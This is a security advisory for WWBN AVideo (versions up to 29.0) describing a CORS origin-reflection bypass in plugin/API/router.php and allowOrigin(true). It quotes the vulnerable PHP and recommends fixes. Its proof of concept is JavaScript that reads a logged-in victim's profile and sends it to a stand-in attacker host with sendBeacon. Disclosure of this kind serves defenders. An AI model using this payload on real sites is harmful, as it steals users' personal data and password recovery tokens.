GHSA-ff5q-cc22-fgp4 WWBN AVideo has a CORS Origin Reflection Bypass via plugin/API/router.php and allowOrigin(true) Exposes Authenticated API Responses

• Packagist wwbn/avideo: <= 29.0 (no fix yet)

Summary The CORS origin validation fix in commit `986e64aad` is incomplete. Two separate code paths still reflect arbitrary `Origin` headers with credentials allowed for all `/api/*` endpoints: (1) `plugin/API/router.php` lines 4-8 unconditionally reflect any origin before application code runs, and (2) `allowOrigin(true)` called by `get.json.php` and `set.json.php` reflects any origin with `Access-Control-Allow-Credentials: true`. An attacker can make cross-origin credentialed requests to any API endpoint and read authenticated responses containing user PII, email, admin status, and session-sensitive data. Details Bypass Vector 1: router.php independent CORS handler `plugin/API/router.php:4-8` runs before any application code: ```php // plugin/API/router.php lines 4-8 $HTTP_ORIGIN = empty($_SERVER['HTTP_ORIGIN']) ? @$_SERVER['HTTP_REFERER'] : $_SERVER['HTTP_ORIGIN']; if (empty($HTTP_ORIGIN)) { header('Access-Control-Allow-Origin: *'); } else { header("Access-Control-Allow-Origin: " . $HTTP_ORIGIN); } ``` This reflects any `Origin` header verbatim. For OPTIONS preflight requests (lines 14-18), the script exits immediately — the fixed `allowOrigin()` function never executes: ```php // plugin/API/router.php lines 14-18 if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') { header("Access-Control-Max-Age: 86400"); http_response_code(200); exit; } ``` All `/api/*` requests are routed through this file via `.htaccess` rules (lines 131-132). Bypass Vector 2: allowOrigin($allowAll=true) Both `plugin/API/get.json.php:12` and `plugin/API/set.json.php:12` call `allowOrigin(true)`. In `objects/functions.php:2773-2790`, the `$allowAll=true` code path reflects any origin with credentials: ```php // objects/functions.php lines 2773-2777 if ($allowAll) { $requestOrigin = $_SERVER['HTTP_ORIGIN'] ?? ''; if (!empty($requestOrigin)) { header('Access-Control-Allow-Origin: ' . $requestOrigin); header('Access-Control-Allow-Credentials: true'); } ``` This code path was untouched by commit `986e64aad`, which only hardened the default (`$allowAll=false`) path. Impact on data exposure Because the victim's session cookies are sent with credentialed cross-origin requests, `User::isLogged()` returns true and `User::getId()` returns the victim's user ID. This means: • Video listing endpoint (`get_api_video`): Sensitive user fields (email, isAdmin, etc.) are only stripped for unauthenticated requests (`functions.php:1752`), so authenticated CORS requests receive the full data. • User profile endpoint (`get_api_user`): When `$isViewingOwnProfile` is true (line 3039), all sensitive fields including email, admin status, recovery tokens, and PII are returned unstripped. Additional issue: Referer header fallback `router.php` line 4 falls back to `HTTP_REFERER` when `HTTP_ORIGIN` is absent, injecting an attacker-controlled full URL (not just origin) into the `Access-Control-Allow-Origin` header. This is non-standard and could cause unexpected behavior. PoC Step 1: Host the following HTML on an attacker-controlled domain: ```html AVideo CORS PoC // Exfiltrate victim's user profile (email, admin status, PII) fetch('https://target-avideo.example/api/user', { credentials: 'include' }) .then(r => r.json()) .then(data => { document.getElementById('result').textContent = JSON.stringify(data, null, 2); // Exfiltrate to attacker server navigator.sendBeacon('https://attacker.example/collect', JSON.stringify(data)); }); Loading... ``` Step 2: Victim visits attacker page while logged into AVideo. Step 3: The browser sends the request with victim's session cookies. `router.php` line 8 reflects the attacker's origin. `get.json.php` calls `allowOrigin(true)` which re-sets `Access-Control-Allow-Origin` to the attacker's origin with `Access-Control-Allow-Credentials: true`. Step 4: Browser permits cross-origin reading. Attacker receives the victim's full user profile including email, name, address, phone, admin status, and other PII. For set endpoints (POST with custom headers requiring preflight): ```javascript fetch('https://target-avideo.example/api/SomeSetEndpoint', { method: 'POST', credentials: 'include', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({/* parameters */}) }); ``` The preflight OPTIONS is handled by `router.php` lines 14-18, which reflect the origin and exit — the CORS fix in `allowOrigin()` never runs. Impact • Data theft: Any third-party website can read authenticated API responses for any logged-in AVideo user. This includes user profile data (email, real name, address, phone, admin status), video listings with creator PII, and other session-specific data. • Account information disclosure: The user profile endpoint returns the full user record including `recoverPass` (password recovery token), `isAdmin` status, and all PII fields when accessed as the authenticated user. • Action on behalf of user: Write endpoints (`set.json.php`) are equally affected, allowing cross-origin state-changing requests (creating playlists, modifying content, etc.) with the victim's session. • Bypass of intentional fix: This directly circumvents the CORS hardening in commit `986e64aad`. Recommended Fix 1. Remove the independent CORS handler from `router.php` and let `allowOrigin()` handle all CORS logic consistently: ```php // plugin/API/router.php - REMOVE lines 4-18, replace with: // CORS is handled by allowOrigin() in get.json.php / set.json.php // For OPTIONS preflight, we still need to handle it, but through allowOrigin(): if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') { require_once __DIR__.'/../../videos/configuration.php'; allowOrigin(false); // Use the validated CORS handler header("Access-Control-Max-Age: 86400"); http_response_code(204); exit; } ``` 2. Fix `allowOrigin($allowAll=true)` to validate origins — or stop using it for API endpoints: ```php // In get.json.php and set.json.php, change: allowOrigin(true); // To: allowOrigin(false); // Use validated CORS for API endpoints ``` Keep `allowOrigin(true)` only for genuinely public endpoints that return no session-sensitive data (VAST/VMAP ad XML). 3. As defense-in-depth, set `SameSite=Lax` on session cookies to prevent browsers from sending them on cross-origin requests by default.